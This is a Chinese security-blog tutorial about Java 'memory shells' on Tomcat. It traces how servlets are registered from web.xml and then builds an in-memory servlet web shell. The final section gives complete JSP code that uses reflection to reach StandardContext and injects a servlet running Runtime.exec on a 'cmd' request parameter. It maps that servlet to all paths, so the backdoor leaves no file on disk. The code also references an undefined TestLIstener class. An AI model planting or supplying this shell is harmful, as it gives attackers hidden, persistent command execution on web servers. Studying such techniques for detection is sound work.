JAVA安全-手搓内存马系列-Servlet

admin 2024年11月20日15:14:54评论16 views字数 4029阅读13分25秒阅读模式
JAVA安全-手搓内存马系列-Servlet
JAVA安全-手搓内存马系列-Servlet

点击上方蓝字·关注我们

PART
01
JAVA安全-手搓内存马系列-Servlet

由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。

前言
JAVA安全-手搓内存马系列-Servlet

这篇文章主要分析servlet类型的内存马,部分基础的知识点可以看listener那篇

文章目录
JAVA安全-手搓内存马系列-Servlet
servlet创建tomcat源码流程图调试分析手搓内存马

servlet创建

还是一样,先创建一个servlet

public class TestServlet extends HttpServlet {    @Override    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {        System.out.println("触发doget");        String requestURI = req.getRequestURI();        if (requestURI.contains("/caigo")) {            String cmd = req.getParameter("cmd");            try {                Runtime.getRuntime().exec(cmd);            } catch (IOException e) {                throw new RuntimeException(e);            }        }    }}

web.xml中配置一下

<servlet>    <servlet-name>testServlet</servlet-name>    <servlet-class>com.example.servletshell.TestServlet</servlet-class></servlet><servlet-mapping>    <servlet-name>testServlet</servlet-name>    <url-pattern>/caigo</url-pattern></servlet-mapping>

启动看下效果

JAVA安全-手搓内存马系列-Servlet

看到效果之后,我们就开始分析,之前我们listener内存马分析的时候,是断点在运行中,也就是在listener已经添加进去后,然后在它加载的信息里面去分析,这样会有一个问题,就是加载的信息太多了,我们分析出来会很乱,所以servlet和后续filter的分析我会在它添加的地方分析它的添加流程

那么回到正题servlet是在哪里添加的呢?这就要涉及到tomcat的运行流程了

tomcat源码流程图

参考文章:

https://blog.csdn.net/u010883443/article/details/107463782

JAVA安全-手搓内存马系列-Servlet

tomcat是如何添加servlet的呢?实际上是通过web.xml读取配置,然后添加的,那么我们想要定位到添加代码,就可以去看web.xml配置解析那一块的流程

JAVA安全-手搓内存马系列-Servlet

通过web.xmlwebConfig()解析xml文档,然后触发configureContext()赋值对象,这里流程图可以看到后续就是我们添加filter和servlet的流程了,那么我们定位到这个类

这里要记得在pom.xml中添加tomcat的包,不然可能搜不到

<dependency>    <groupId>org.apache.tomcat</groupId>    <artifactId>tomcat-catalina</artifactId>    <version>8.5.81</version> //版本选择和自己tomcat同版本</dependency>

然后maven下载源代码

JAVA安全-手搓内存马系列-Servlet

JAVA安全-手搓内存马系列-Servlet

调试分析

直接在这里断点分析

JAVA安全-手搓内存马系列-Servlet

这里后续的操作都是用到这个context,那么这个context我们通过断点,可以看到这个其实就是我们之前listener分析时的StandardContext#context,我们往下看,添加servlet是哪一块

JAVA安全-手搓内存马系列-Servlet

是从这里开始,从前面的流程图也能看到,我们在这里下个断点,看下它的执行流程

JAVA安全-手搓内存马系列-Servlet

这里循环获取web.xml中配置的servlet信息

for (ServletDef servlet : webxml.getServlets().values()){}

创建个空的wrapper对象

 Wrapper wrapper = context.createWrapper();

JAVA安全-手搓内存马系列-Servlet

getLoadOnStartup() 方法,通常在Servlet配置中使用,用于获取Servlet的加载顺序。这个方法返回一个 Integer 对象,表示Servlet在启动时的加载顺序。如果返回值为 null,则表示没有指定加载顺序

if (servlet.getLoadOnStartup() != null) {    wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());}

getEnabled() 方法,通常在Servlet配置中使用,用于获取Servlet的启用状态。这个方法返回一个 Boolean 对象,表示Servlet是否启用。如果返回值为 null,则表示没有明确指定启用状态。

if (servlet.getEnabled() != null) {    wrapper.setEnabled(servlet.getEnabled().booleanValue());}

这两段代码是做配置检查的

JAVA安全-手搓内存马系列-Servlet

创建完wrapper后走到setName,我们看下传入的是什么

JAVA安全-手搓内存马系列-Servlet

这里是jsp这个是内置的,我这里先跳过,分析我们创建的servlet,会更好理解

选择这个就是我们创建的servlet,这里setName就是获取我们传入的servlet的名称,也就是这个servletName="testServlet"

JAVA安全-手搓内存马系列-Servlet

然后接下来是setRunas,这里值是null,那我们就不用管

JAVA安全-手搓内存马系列-Servlet

然后到setServletClass,对应的值就是我们设置的"com.example.servletshell.TestServlet"

JAVA安全-手搓内存马系列-Servlet

然后通过addChild传入wrapper对象

JAVA安全-手搓内存马系列-Servlet

到这里其实我有点蒙,因为这里只设置了类别名和引用,但是没有传入我们实例化的servlet,这里我查看下资料,是因为servlet有一个懒加载的机制

什么是懒加载?

懒加载(Lazy Loading)是一种延迟初始化的技术,用于在需要时才创建对象或执行某些操作,而不是在程序启动时立即进行。在Servlet中,懒加载意味着Servlet容器不会在应用启动时立即加载和初始化所有的Servlet,而是在第一次请求该Servlet时才进行加载和初始化

就是当我们去访问对应servlet路由的时候,才会去实例化加载我们创建的servlet,然后这里我们可以通过setServlet方法传入我们创建的servlet实例化,就可以解决这个问题

然后servlet传入后,是不是还要设置路由啊,接着往下调

JAVA安全-手搓内存马系列-Servlet

这里可以看到是在addServletMappingDecoded方法中设置的,那么到这里servlet的添加流程我们就分析完了,那么我们就可以开始手搓servlet内存马了

手搓内存马

流程就和我们分析的一样

  1. 创建servlet

  2. 获取StandardContext#context

  3. 创建wrapper并写入servlet信息

  4. 添加wrapper并添加路由信息

//1、创建servlet<%     class TestServlet extends HttpServlet {    @Override    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {        System.out.println("触发doget");        String requestURI = req.getRequestURI();        if (requestURI.contains("/caigo")) {            String cmd = req.getParameter("cmd");            try {                Runtime.getRuntime().exec(cmd);            } catch (IOException e) {                throw new RuntimeException(e);            }        }    }}%>
<%//2、获取StandardContext#contextField reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext context = (StandardContext) req.getContext();TestLIstener testLIstener = new TestLIstener();context.addApplicationEventListener(testLIstener);//3、创建wrapper并写入servlet信息Wrapper wrapper = context.createWrapper();wrapper.setName("testservlet");wrapper.setServletClass(TestServlet.class.getName());wrapper.setServlet(new TestServlet());//添加wrapper并添加路由信息context.addChild(wrapper);context.addServletMappingDecoded("/*", "testservlet");%>

效果演示

JAVA安全-手搓内存马系列-Servlet

最后

如有技术问题可扫描交流群二维码进群交流

JAVA安全-手搓内存马系列-Servlet

如果二维码过期,可以加我联系方式备注“交流群

JAVA安全-手搓内存马系列-Servlet

原文始发于微信公众号(菜狗安全):JAVA安全-手搓内存马系列-Servlet

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月20日15:14:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA安全-手搓内存马系列-Servlethttps://cn-sec.com/archives/3411323.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息